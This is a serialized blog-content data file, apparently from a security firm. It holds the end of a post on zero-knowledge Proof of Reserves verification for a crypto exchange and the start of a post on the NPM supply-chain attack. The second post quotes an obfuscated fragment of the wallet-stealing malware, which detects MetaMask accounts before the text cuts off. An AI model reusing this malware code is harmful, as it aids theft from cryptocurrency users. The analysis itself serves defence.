:28,"value":1600},{"type":23,"tag":314,"props":95750,"children":95752},{"className":95751},[20982],[95753],{"type":28,"value":20985},{"type":23,"tag":314,"props":95755,"children":95757},{"className":95756},[3290],[95758],{"type":23,"tag":314,"props":95759,"children":95761},{"className":95760,"style":92382},[3295],[95762],{"type":23,"tag":314,"props":95763,"children":95764},{},[],{"type":23,"tag":314,"props":95766,"children":95768},{"className":95767},[3376],[95769],{"type":28,"value":3379},{"type":23,"tag":314,"props":95771,"children":95773},{"className":95772,"style":3383},[3344],[],{"type":23,"tag":314,"props":95775,"children":95777},{"className":95776},[3264,20825],[95778],{"type":28,"value":93767},{"type":23,"tag":314,"props":95780,"children":95782},{"className":95781},[3264,20825],[95783],{"type":28,"value":9900},{"type":23,"tag":314,"props":95785,"children":95787},{"className":95786},[3264],[95788,95793],{"type":23,"tag":314,"props":95789,"children":95791},{"className":95790},[3264,20825],[95792],{"type":28,"value":83597},{"type":23,"tag":314,"props":95794,"children":95796},{"className":95795},[3280],[95797],{"type":23,"tag":314,"props":95798,"children":95800},{"className":95799},[3285,20879],[95801,95830],{"type":23,"tag":314,"props":95802,"children":95804},{"className":95803},[3290],[95805,95825],{"type":23,"tag":314,"props":95806,"children":95808},{"className":95807,"style":92351},[3295],[95809],{"type":23,"tag":314,"props":95810,"children":95811},{"style":92355},[95812,95816],{"type":23,"tag":314,"props":95813,"children":95815},{"className":95814,"style":3305},[3304],[],{"type":23,"tag":314,"props":95817,"children":95819},{"className":95818},[3310,3311,3312,3313],[95820],{"type":23,"tag":314,"props":95821,"children":95823},{"className":95822},[3264,3313],[95824],{"type":28,"value":3267},{"type":23,"tag":314,"props":95826,"children":95828},{"className":95827},[20982],[95829],{"type":28,"value":20985},{"type":23,"tag":314,"props":95831,"children":95833},{"className":95832},[3290],[95834],{"type":23,"tag":314,"props":95835,"children":95837},{"className":95836,"style":92382},[3295],[95838],{"type":23,"tag":314,"props":95839,"children":95840},{},[],{"type":23,"tag":314,"props":95842,"children":95844},{"className":95843},[3376],[95845],{"type":28,"value":3379},{"type":23,"tag":314,"props":95847,"children":95849},{"className":95848,"style":3383},[3344],[],{"type":23,"tag":314,"props":95851,"children":95853},{"className":95852},[3264],[95854],{"type":28,"value":8840},{"type":23,"tag":314,"props":95856,"children":95858},{"className":95857},[3376],[95859],{"type":28,"value":3379},{"type":23,"tag":314,"props":95861,"children":95863},{"className":95862,"style":3383},[3344],[],{"type":23,"tag":314,"props":95865,"children":95867},{"className":95866},[3264,20825],[95868],{"type":28,"value":93767},{"type":23,"tag":314,"props":95870,"children":95872},{"className":95871},[3264,20825],[95873],{"type":28,"value":9900},{"type":23,"tag":314,"props":95875,"children":95877},{"className":95876},[3264],[95878,95883],{"type":23,"tag":314,"props":95879,"children":95881},{"className":95880},[3264,20825],[95882],{"type":28,"value":83597},{"type":23,"tag":314,"props":95884,"children":95886},{"className":95885},[3280],[95887],{"type":23,"tag":314,"props":95888,"children":95890},{"className":95889},[3285,20879],[95891,95925],{"type":23,"tag":314,"props":95892,"children":95894},{"className":95893},[3290],[95895,95920],{"type":23,"tag":314,"props":95896,"children":95898},{"className":95897,"style":92351},[3295],[95899],{"type":23,"tag":314,"props":95900,"children":95901},{"style":92355},[95902,95906],{"type":23,"tag":314,"props":95903,"children":95905},{"className":95904,"style":3305},[3304],[],{"type":23,"tag":314,"props":95907,"children":95909},{"className":95908},[3310,3311,3312,3313],[95910],{"type":23,"tag":314,"props":95911,"children":95913},{"className":95912},[3264,3313],[95914],{"type":23,"tag":314,"props":95915,"children":95917},{"className":95916},[3264,3313],[95918],{"type":28,"value":95919},"31",{"type":23,"tag":314,"props":95921,"children":95923},{"className":95922},[20982],[95924],{"type":28,"value":20985},{"type":23,"tag":314,"props":95926,"children":95928},{"className":95927},[3290],[95929],{"type":23,"tag":314,"props":95930,"children":95932},{"className":95931,"style":92382},[3295],[95933],{"type":23,"tag":314,"props":95934,"children":95935},{},[],{"type":23,"tag":314,"props":95937,"children":95939},{"className":95938},[20976],[95940],{"type":28,"value":431},{"type":28,"value":5713},{"type":23,"tag":721,"props":95943,"children":95944},{},[95945],{"type":28,"value":94087},{"type":23,"tag":88,"props":95947,"children":95948},{},[95949,95954,95955],{"type":23,"tag":186,"props":95950,"children":95951},{},[95952],{"type":28,"value":95953},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":5713},{"type":23,"tag":721,"props":95956,"children":95957},{},[95958],{"type":28,"value":94371},{"type":23,"tag":24,"props":95960,"children":95961},{},[95962],{"type":28,"value":95963},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":24,"props":95965,"children":95966},{},[95967],{"type":23,"tag":197,"props":95968,"children":95970},{"alt":49829,"src":95969},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":61,"props":95972,"children":95974},{"id":95973},"global-proof-and-inclusion-proofs",[95975],{"type":28,"value":95976},"Global Proof and Inclusion Proofs",{"type":23,"tag":837,"props":95978,"children":95979},{"id":8531},[95980],{"type":28,"value":95981},"Proving",{"type":23,"tag":24,"props":95983,"children":95984},{},[95985,95987,95993,95994,96000,96001,96007],{"type":28,"value":95986},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":94,"props":95988,"children":95990},{"className":95989},[],[95991],{"type":28,"value":95992},"merkle_tree.json",{"type":28,"value":778},{"type":23,"tag":94,"props":95995,"children":95997},{"className":95996},[],[95998],{"type":28,"value":95999},"final_proof.json",{"type":28,"value":5743},{"type":23,"tag":94,"props":96002,"children":96004},{"className":96003},[],[96005],{"type":28,"value":96006},"private_nonces.json",{"type":28,"value":96008}," files.",{"type":23,"tag":24,"props":96010,"children":96011},{},[96012],{"type":28,"value":96013},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":24,"props":96015,"children":96016},{},[96017,96019,96025,96027,96032],{"type":28,"value":96018},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":94,"props":96020,"children":96022},{"className":96021},[],[96023],{"type":28,"value":96024},"inclusion_proof_\u003Cid>.json",{"type":28,"value":96026},"). ",{"type":23,"tag":186,"props":96028,"children":96029},{},[96030],{"type":28,"value":96031},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":282},{"type":23,"tag":837,"props":96034,"children":96036},{"id":96035},"verifying",[96037],{"type":28,"value":96038},"Verifying",{"type":23,"tag":24,"props":96040,"children":96041},{},[96042],{"type":23,"tag":721,"props":96043,"children":96044},{},[96045],{"type":28,"value":96046},"Global Proof",{"type":23,"tag":24,"props":96048,"children":96049},{},[96050,96052,96057,96058,96063],{"type":28,"value":96051},"To verify the global proof, the code deserializes the ",{"type":23,"tag":94,"props":96053,"children":96055},{"className":96054},[],[96056],{"type":28,"value":95992},{"type":28,"value":36799},{"type":23,"tag":94,"props":96059,"children":96061},{"className":96060},[],[96062],{"type":28,"value":95999},{"type":28,"value":96064}," files and performs these checks:",{"type":23,"tag":84,"props":96066,"children":96067},{},[96068,96073,96078,96083,96109],{"type":23,"tag":88,"props":96069,"children":96070},{},[96071],{"type":28,"value":96072},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":88,"props":96074,"children":96075},{},[96076],{"type":28,"value":96077},"Verify the ZK final proof.",{"type":23,"tag":88,"props":96079,"children":96080},{},[96081],{"type":28,"value":96082},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":88,"props":96084,"children":96085},{},[96086,96088,96094,96096,96101,96102,96107],{"type":28,"value":96087},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":94,"props":96089,"children":96091},{"className":96090},[],[96092],{"type":28,"value":96093},"merkle_tree_hash",{"type":28,"value":96095}," public input. This ensures that the ",{"type":23,"tag":94,"props":96097,"children":96099},{"className":96098},[],[96100],{"type":28,"value":95992},{"type":28,"value":557},{"type":23,"tag":94,"props":96103,"children":96105},{"className":96104},[],[96106],{"type":28,"value":95999},{"type":28,"value":96108}," are linked (they belong to the same global proof).",{"type":23,"tag":88,"props":96110,"children":96111},{},[96112],{"type":28,"value":96113},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":24,"props":96115,"children":96116},{},[96117],{"type":23,"tag":721,"props":96118,"children":96119},{},[96120],{"type":28,"value":96121},"Inclusion Proof",{"type":23,"tag":24,"props":96123,"children":96124},{},[96125,96127,96132,96134,96139],{"type":28,"value":96126},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":94,"props":96128,"children":96130},{"className":96129},[],[96131],{"type":28,"value":96024},{"type":28,"value":96133}," file and also the ",{"type":23,"tag":94,"props":96135,"children":96137},{"className":96136},[],[96138],{"type":28,"value":95999},{"type":28,"value":96140},". After that, it performs these checks:",{"type":23,"tag":84,"props":96142,"children":96143},{},[96144,96148,96153,96158],{"type":23,"tag":88,"props":96145,"children":96146},{},[96147],{"type":28,"value":96077},{"type":23,"tag":88,"props":96149,"children":96150},{},[96151],{"type":28,"value":96152},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":88,"props":96154,"children":96155},{},[96156],{"type":28,"value":96157},"Recalculate the user-related node leaf hash.",{"type":23,"tag":88,"props":96159,"children":96160},{},[96161],{"type":28,"value":96162},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":61,"props":96164,"children":96166},{"id":96165},"por-verifier-server",[96167],{"type":28,"value":96168},"PoR Verifier Server",{"type":23,"tag":24,"props":96170,"children":96171},{},[96172,96174,96180],{"type":28,"value":96173},"To automate the verification process, we created a ",{"type":23,"tag":31,"props":96175,"children":96177},{"href":91810,"rel":96176},[35],[96178],{"type":28,"value":96179},"verifier server",{"type":28,"value":96181}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":24,"props":96183,"children":96184},{},[96185],{"type":28,"value":96186},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":24,"props":96188,"children":96189},{},[96190],{"type":23,"tag":197,"props":96191,"children":96193},{"alt":49829,"src":96192},"/posts/por/backpack-por.png",[],{"type":23,"tag":24,"props":96195,"children":96196},{},[96197],{"type":28,"value":96198},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":127,"props":96200,"children":96201},{},[96202,96212,96222,96232,96242,96252],{"type":23,"tag":88,"props":96203,"children":96204},{},[96205,96210],{"type":23,"tag":721,"props":96206,"children":96207},{},[96208],{"type":28,"value":96209},"Status",{"type":28,"value":96211}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":88,"props":96213,"children":96214},{},[96215,96220],{"type":23,"tag":721,"props":96216,"children":96217},{},[96218],{"type":28,"value":96219},"Proof Timestamp",{"type":28,"value":96221}," --> when the proof was generated by the exchange.",{"type":23,"tag":88,"props":96223,"children":96224},{},[96225,96230],{"type":23,"tag":721,"props":96226,"children":96227},{},[96228],{"type":28,"value":96229},"Verify Timestamp",{"type":28,"value":96231}," --> when the proof was verified by the PoR server.",{"type":23,"tag":88,"props":96233,"children":96234},{},[96235,96240],{"type":23,"tag":721,"props":96236,"children":96237},{},[96238],{"type":28,"value":96239},"Proof File URL",{"type":28,"value":96241}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":88,"props":96243,"children":96244},{},[96245,96250],{"type":23,"tag":721,"props":96246,"children":96247},{},[96248],{"type":28,"value":96249},"Prover Version",{"type":28,"value":96251}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":88,"props":96253,"children":96254},{},[96255,96260],{"type":23,"tag":721,"props":96256,"children":96257},{},[96258],{"type":28,"value":96259},"File Hash (SHA256)",{"type":28,"value":96261}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":24,"props":96263,"children":96264},{},[96265],{"type":28,"value":96266},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":24,"props":96268,"children":96269},{},[96270],{"type":23,"tag":197,"props":96271,"children":96273},{"alt":49829,"src":96272},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":24,"props":96275,"children":96276},{},[96277,96279,96285,96287,96293],{"type":28,"value":96278},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":31,"props":96280,"children":96283},{"href":96281,"rel":96282},"https://backpack.exchange/reserves",[35],[96284],{"type":28,"value":96281},{"type":28,"value":96286}," and our verifier server for backpack at ",{"type":23,"tag":31,"props":96288,"children":96291},{"href":96289,"rel":96290},"https://backpack-por.osec.io/",[35],[96292],{"type":28,"value":96289},{"type":28,"value":282},{"type":23,"tag":61,"props":96295,"children":96297},{"id":96296},"self-verification",[96298],{"type":28,"value":96299},"Self-verification",{"type":23,"tag":24,"props":96301,"children":96302},{},[96303],{"type":28,"value":96304},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":837,"props":96306,"children":96308},{"id":96307},"how-to-verify-if-i-was-included",[96309],{"type":28,"value":96310},"How to verify if I was included?",{"type":23,"tag":24,"props":96312,"children":96313},{},[96314],{"type":28,"value":96315},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":84,"props":96317,"children":96318},{},[96319,96330,96348],{"type":23,"tag":88,"props":96320,"children":96321},{},[96322,96329],{"type":23,"tag":31,"props":96323,"children":96326},{"href":96324,"rel":96325},"https://github.com/otter-sec/por_v2/releases",[35],[96327],{"type":28,"value":96328},"Download the PoRv2 executable from our github",{"type":28,"value":282},{"type":23,"tag":88,"props":96331,"children":96332},{},[96333,96335,96340,96341,96346],{"type":28,"value":96334},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":94,"props":96336,"children":96338},{"className":96337},[],[96339],{"type":28,"value":96024},{"type":28,"value":557},{"type":23,"tag":94,"props":96342,"children":96344},{"className":96343},[],[96345],{"type":28,"value":95999},{"type":28,"value":96347},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":88,"props":96349,"children":96350},{},[96351,96353,96359],{"type":28,"value":96352},"Open the terminal and execute this: ",{"type":23,"tag":94,"props":96354,"children":96356},{"className":96355},[],[96357],{"type":28,"value":96358},"./plonky2_por verify-inclusion",{"type":28,"value":282},{"type":23,"tag":24,"props":96361,"children":96362},{},[96363],{"type":28,"value":96364},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":304,"props":96366,"children":96368},{"code":96367},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[96369],{"type":23,"tag":94,"props":96370,"children":96371},{"__ignoreMap":7},[96372],{"type":28,"value":96367},{"type":23,"tag":837,"props":96374,"children":96376},{"id":96375},"how-can-i-verify-the-global-proof",[96377],{"type":28,"value":96378},"How can I verify the global proof?",{"type":23,"tag":24,"props":96380,"children":96381},{},[96382],{"type":28,"value":96383},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":84,"props":96385,"children":96386},{},[96387,96396,96414],{"type":23,"tag":88,"props":96388,"children":96389},{},[96390,96395],{"type":23,"tag":31,"props":96391,"children":96393},{"href":96324,"rel":96392},[35],[96394],{"type":28,"value":96328},{"type":28,"value":282},{"type":23,"tag":88,"props":96397,"children":96398},{},[96399,96401,96406,96407,96412],{"type":28,"value":96400},"Download the ",{"type":23,"tag":94,"props":96402,"children":96404},{"className":96403},[],[96405],{"type":28,"value":95992},{"type":28,"value":36799},{"type":23,"tag":94,"props":96408,"children":96410},{"className":96409},[],[96411],{"type":28,"value":95999},{"type":28,"value":96413}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":88,"props":96415,"children":96416},{},[96417,96419,96424],{"type":28,"value":96418},"Open the terminal and execute ",{"type":23,"tag":94,"props":96420,"children":96422},{"className":96421},[],[96423],{"type":28,"value":96358},{"type":28,"value":96425},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":24,"props":96427,"children":96428},{},[96429],{"type":28,"value":96430},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":304,"props":96432,"children":96434},{"code":96433},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[96435],{"type":23,"tag":94,"props":96436,"children":96437},{"__ignoreMap":7},[96438],{"type":28,"value":96433},{"type":23,"tag":24,"props":96440,"children":96441},{},[96442],{"type":28,"value":96443},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":304,"props":96445,"children":96447},{"code":96446},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[96448],{"type":23,"tag":94,"props":96449,"children":96450},{"__ignoreMap":7},[96451],{"type":28,"value":96446},{"type":23,"tag":61,"props":96453,"children":96454},{"id":28180},[96455],{"type":28,"value":18185},{"type":23,"tag":24,"props":96457,"children":96458},{},[96459],{"type":28,"value":96460},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":24,"props":96462,"children":96463},{},[96464,96466,96472],{"type":28,"value":96465},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":31,"props":96467,"children":96469},{"href":96281,"rel":96468},[35],[96470],{"type":28,"value":96471},"in production",{"type":28,"value":96473}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":24,"props":96475,"children":96476},{},[96477,96479,96486],{"type":28,"value":96478},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":31,"props":96480,"children":96483},{"href":96481,"rel":96482},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[35],[96484],{"type":28,"value":96485},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":282},{"title":7,"searchDepth":370,"depth":370,"links":96488},[96489,96490,96491,96492,96495,96500,96504,96505,96509],{"id":91738,"depth":370,"text":91741},{"id":91819,"depth":370,"text":91822},{"id":91889,"depth":370,"text":91892},{"id":91943,"depth":370,"text":91946,"children":96493},[96494],{"id":92022,"depth":380,"text":92025},{"id":92110,"depth":370,"text":92113,"children":96496},[96497,96498,96499],{"id":92183,"depth":380,"text":92186},{"id":92655,"depth":380,"text":92658},{"id":94394,"depth":380,"text":94397},{"id":95973,"depth":370,"text":95976,"children":96501},[96502,96503],{"id":8531,"depth":380,"text":95981},{"id":96035,"depth":380,"text":96038},{"id":96165,"depth":370,"text":96168},{"id":96296,"depth":370,"text":96299,"children":96506},[96507,96508],{"id":96307,"depth":380,"text":96310},{"id":96375,"depth":380,"text":96378},{"id":28180,"depth":370,"text":18185},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":96514,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":96515,"description":96516,"date":96517,"author":30450,"image":96518,"isFeatured":18,"onBlogPage":18,"tags":96521,"body":96524,"_type":2117,"_id":98950,"_source":2119,"_file":98951,"_stem":98952,"_extension":2122},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":96519,"width":96520,"height":12871},"/posts/supply-chain-attcks/title.png",1536,[96522,96523],"npm","supply-chain",{"type":20,"children":96525,"toc":98933},[96526,96539,96544,96549,96555,96560,96568,96898,96906,97469,97477,98184,98190,98195,98201,98206,98211,98217,98222,98234,98239,98265,98352,98364,98389,98405,98410,98415,98621,98663,98668,98680,98686,98698,98740,98753,98833,98845,98858,98865,98876,98884,98890,98903,98908,98912,98917,98929],{"type":23,"tag":24,"props":96527,"children":96528},{},[96529,96531,96537],{"type":28,"value":96530},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":94,"props":96532,"children":96534},{"className":96533},[],[96535],{"type":28,"value":96536},"chalk",{"type":28,"value":96538},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":24,"props":96540,"children":96541},{},[96542],{"type":28,"value":96543},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":24,"props":96545,"children":96546},{},[96547],{"type":28,"value":96548},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":61,"props":96550,"children":96552},{"id":96551},"qix-malware-how-it-worked",[96553],{"type":28,"value":96554},"Qix Malware: How It Worked",{"type":23,"tag":24,"props":96556,"children":96557},{},[96558],{"type":28,"value":96559},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":84,"props":96561,"children":96562},{},[96563],{"type":23,"tag":88,"props":96564,"children":96565},{},[96566],{"type":28,"value":96567},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":304,"props":96569,"children":96571},{"code":96570,"language":30613,"meta":7,"className":30611,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[96572],{"type":23,"tag":94,"props":96573,"children":96574},{"__ignoreMap":7},[96575,96595,96607,96651,96668,96675,96711,96723,96751,96771,96791,96803,96810,96845,96865,96877,96884,96891],{"type":23,"tag":314,"props":96576,"children":96577},{"class":316,"line":317},[96578,96582,96586,96591],{"type":23,"tag":314,"props":96579,"children":96580},{"style":321},[96581],{"type":28,"value":35394},{"type":23,"tag":314,"props":96583,"children":96584},{"style":321},[96585],{"type":28,"value":37463},{"type":23,"tag":314,"props":96587,"children":96588},{"style":332},[96589],{"type":28,"value":96590}," checkethereumw",{"type":23,"tag":314,"props":96592,"children":96593},{"style":338},[96594],{"type":28,"value":14977},{"type":23,"tag":314,"props":96596,"children":96597},{"class":316,"line":370},[96598,96603],{"type":23,"tag":314,"props":96599,"children":96600},{"style":2284},[96601],{"type":28,"value":96602}," try",{"type":23,"tag":314,"props":96604,"children":96605},{"style":338},[96606],{"type":28,"value":1449},{"type":23,"tag":314,"props":96608,"children":96609},{"class":316,"line":380},[96610,96614,96619,96623,96627,96631,96635,96639,96643,96647],{"type":23,"tag":314,"props":96611,"children":96612},{"style":321},[96613],{"type":28,"value":50919},{"type":23,"tag":314,"props":96615,"children":96616},{"style":360},[96617],{"type":28,"value":96618}," _0x124ed3",{"type":23,"tag":314,"props":96620,"children":96621},{"style":354},[96622],{"type":28,"value":1237},{"type":23,"tag":314,"props":96624,"children":96625},{"style":2284},[96626],{"type":28,"value":35460},{"type":23,"tag":314,"props":96628,"children":96629},{"style":360},[96630],{"type":28,"value":30656},{"type":23,"tag":314,"props":96632,"children":96633},{"style":338},[96634],{"type":28,"value":282},{"type":23,"tag":314,"props":96636,"children":96637},{"style":360},[96638],{"type":28,"value":30665},{"type":23,"tag":314,"props":96640,"children":96641},{"style":338},[96642],{"type":28,"value":282},{"type":23,"tag":314,"props":96644,"children":96645},{"style":332},[96646],{"type":28,"value":30741},{"type":23,"tag":314,"props":96648,"children":96649},{"style":338},[96650],{"type":28,"value":14382},{"type":23,"tag":314,"props":96652,"children":96653},{"class":316,"line":1091},[96654,96659,96663],{"type":23,"tag":314,"props":96655,"children":96656},{"style":1245},[96657],{"type":28,"value":96658}," 'method'",{"type":23,"tag":314,"props":96660,"children":96661},{"style":360},[96662],{"type":28,"value":3746},{"type":23,"tag":314,"props":96664,"children":96665},{"style":1245},[96666],{"type":28,"value":96667}," \"eth_accounts\"\n",{"type":23,"tag":314,"props":96669,"children":96670},{"class":316,"line":1141},[96671],{"type":23,"tag":314,"props":96672,"children":96673},{"style":338},[96674],{"type":28,"value":31504},{"type":23,"tag":314,"props":96676,"children":96677},{"class":316,"line":1173},[96678,96682,96686,96691,96695,96699,96703,96707],{"type":23,"tag":314,"props":96679,"children":96680},{"style":2284},[96681],{"type":28,"value":11527},{"type":23,"tag":314,"props":96683,"children":96684},{"style":338},[96685],{"type":28,"value":2324},{"type":23,"tag":314,"props":96687,"children":96688},{"style":360},[96689],{"type":28,"value":96690},"_0x124ed3",{"type":23,"tag":314,"props":96692,"children":96693},{"style":338},[96694],{"type":28,"value":282},{"type":23,"tag":314,"props":96696,"children":96697},{"style":360},[96698],{"type":28,"value":7756},{"type":23,"tag":314,"props":96700,"children":96701},{"style":354},[96702],{"type":28,"value":13441},{"type":23,"tag":314,"props":96704,"children":96705},{"style":1054},[96706],{"type":28,"value":1201},{"type":23,"tag":314,"props":96708,"children":96709},{"style":338},[96710],{"type":28,"value":367},{"type":23,"tag":314,"props":96712,"children":96713},{"class":316,"line":1208},[96714,96719],{"type":23,"tag":314,"props":96715,"children":96716},{"style":332},[96717],{"type":28,"value":96718}," runmask",{"type":23,"tag":314,"props":96720,"children":96721},{"style":338},[96722],{"type":28,"value":2926},{"type":23,"tag":314,"props":96724,"children":96725},{"class":316,"line":1216},[96726,96730,96734,96739,96743,96747],{"type":23,"tag":314,"props":96727,"children":96728},{"style":2284},[96729],{"type":28,"value":38534},{"type":23,"tag":314,"props":96731,"children":96732},{"style":338},[96733],{"type":28,"value":2324},{"type":23,"tag":314,"props":96735,"children":96736},{"style":360},[96737],{"type":28,"value":96738},"rund",{"type":23,"tag":314,"props":96740,"children":96741},{"style":354},[96742],{"type":28,"value":63639},{"type":23,"tag":314,"props":96744,"children":96745},{"style":1054},[96746],{"type":28,"value":3778},{"type":23,"tag":314,"props":96748,"children":96749},{"style":338},[96750],{"type":28,"value":367},{"type":23,"tag":314,"props":96752,"children":96753},{"class":316,"line":1301},[96754,96759,96763,96767],{"type":23,"tag":314,"props":96755,"children":96756},{"style":360},[96757],{"type":28,"value":96758}," 